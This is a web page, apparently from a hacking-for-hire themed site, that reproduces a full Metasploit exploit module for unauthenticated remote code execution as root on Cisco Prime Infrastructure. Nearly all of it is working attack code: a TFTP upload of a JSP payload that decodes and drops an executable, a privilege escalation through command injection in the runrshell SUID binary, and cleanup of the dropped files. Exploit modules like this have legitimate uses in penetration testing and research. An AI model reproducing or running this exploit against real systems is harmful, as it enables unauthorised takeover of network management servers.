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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Cisco Prime Infrastructure Unauthenticated Remote Code Execution',
      'Description'    => %q{
        Cisco Prime Infrastructure (CPI) contains two basic flaws that when exploited allow
        an unauthenticated attacker to achieve remote code execution. The first flaw is a file
        upload vulnerability that allows the attacker to upload and execute files as the Apache
        Tomcat user; the second is a privilege escalation to root by bypassing execution restrictions
        in a SUID binary.

        This module exploits these vulnerabilities to achieve unauthenticated remote code execution
        as root on the CPI default installation.

        This module has been tested with CPI 3.2.0.0.258 and 3.4.0.0.348. Earlier and later versions
        might also be affected, although 3.4.0.0.348 is the latest at the time of writing.
      },
      'Author'         =>
        [
          'Pedro Ribeiro'        # Vulnerability discovery and Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', 'TODO' ],
          [ 'CVE', 'TODO' ],
          [ 'URL', 'TODO' ],
          [ 'URL', 'TODO' ]
        ],
      'Platform'       => 'linux',
      'Arch'           => [ARCH_X86, ARCH_X64],
      'Targets'        =>
        [
          [ 'Cisco Prime Infrastructure', {} ]
        ],
      'Privileged'     => true,
      'DefaultOptions' => { 'WfsDelay' => 10 },
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'TODO'
    ))

    register_options(
      [
        OptPort.new('RPORT', [true, 'The target port', 443]),
        OptPort.new('RPORT_TFTP', [true, 'TFTPD port', 69]),
        OptBool.new('SSL', [true, 'Use SSL connection', true]),
        OptString.new('TARGETURI', [ true,  "swimtemp path", '/swimtemp'])
      ])
  end


  def check
    res = send_request_cgi({
      'uri'    => normalize_uri(datastore['TARGETURI'], 'swimtemp'),
      'method' => 'GET'
    })
    if res && res.code == 404 && res.body.length == 0
      # at the moment this is the best way to detect
      # a 404 in swimtemp only returns the error code with a body length of 0,
      # while a 404 to another webapp or to the root returns code plus a body with content
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Unknown
    end
  end


  def upload_payload(payload)
    lport = datastore['LPORT'] || (1025 + rand(0xffff-1025))
    lhost = datastore['LHOST'] || "0.0.0.0"
    remote_file = rand_text_alpha(rand(14) + 5) + '.jsp'

    tftp_client = Rex::Proto::TFTP::Client.new(
      "LocalHost"  => lhost,
      "LocalPort"  => lport,
      "PeerHost"   => rhost,
      "PeerPort"   => datastore['RPORT_TFTP'],
      "LocalFile"  => "DATA:#{payload}",
      "RemoteFile" => remote_file,
      "Mode"       => 'octet',
      "Context"    => {'Msf' => self.framework, 'MsfExploit' => self},
      "Action"     => :upload
    )
    print_status "Uploading TFTP payload to #{rhost}:#{datastore['TFTP_PORT']} as '#{remote_file}'"
    tftp_client.send_write_request

    remote_file
  end

  def generate_jsp_payload
    exe = generate_payload_exe
    base64_exe = Rex::Text.encode_base64(exe)

    native_payload_name = rand_text_alpha(rand(6)+3)

    var_raw     = rand_text_alpha(rand(8) + 3)
    var_ostream = rand_text_alpha(rand(8) + 3)
    var_pstream = rand_text_alpha(rand(8) + 3)
    var_buf     = rand_text_alpha(rand(8) + 3)
    var_decoder = rand_text_alpha(rand(8) + 3)
    var_tmp     = rand_text_alpha(rand(8) + 3)
    var_path    = rand_text_alpha(rand(8) + 3)
    var_tmp2     = rand_text_alpha(rand(8) + 3)
    var_path2    = rand_text_alpha(rand(8) + 3)
    var_proc2   = rand_text_alpha(rand(8) + 3)

    var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
    chmod = %Q|
    Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path} + " " + #{var_path2});
    Thread.sleep(200);
    |

    var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
    cleanup = %Q|
    Thread.sleep(200);
    Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path} + " " + #{var_path2});
    |

    jsp = %Q|
    <%@page import="java.io.*"%>
    <%@page import="sun.misc.BASE64Decoder"%>
    <%
    try {
      String #{var_buf} = "#{base64_exe}";
      BASE64Decoder #{var_decoder} = new BASE64Decoder();
      byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());

      File #{var_tmp} = File.createTempFile("#{native_payload_name}", ".bin");
      String #{var_path} = #{var_tmp}.getAbsolutePath();

      BufferedOutputStream #{var_ostream} =
        new BufferedOutputStream(new FileOutputStream(#{var_path}));
      #{var_ostream}.write(#{var_raw});
      #{var_ostream}.close();

      File #{var_tmp2} = File.createTempFile("#{native_payload_name}", ".sh");
      String #{var_path2} = #{var_tmp2}.getAbsolutePath();

      PrintWriter #{var_pstream} =
        new PrintWriter(new FileOutputStream(#{var_path2}));
      #{var_pstream}.println("!#/bin/sh");
      #{var_pstream}.println("/opt/CSCOlumos/bin/runrshell '\\" && " + #{var_path} + " #'");
      #{var_pstream}.close();
      #{chmod}

      Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path2});
      #{cleanup}
    } catch (Exception e) {
    }
    %>
    |

    jsp = jsp.gsub(/\n/, '')
    jsp = jsp.gsub(/\t/, '')
    jsp = jsp.gsub(/\x0d\x0a/, "")
    jsp = jsp.gsub(/\x0a/, "")

    return jsp
  end


  def exploit
    jsp_payload = generate_jsp_payload

    jsp_name = upload_payload(jsp_payload)

    # we land in /opt/CSCOlumos, so we don't know the apache directory
    # as it changes between versions... so leave this commented for now
    # ... and try to find a good way to clean it later
    # register_files_for_cleanup(jsp_name)

    print_status("#{peer} - Executing payload...")
    send_request_cgi({
      'uri'    => normalize_uri(datastore['TARGETURI'], jsp_name),
      'method' => 'GET'
    })

    handler
  end
end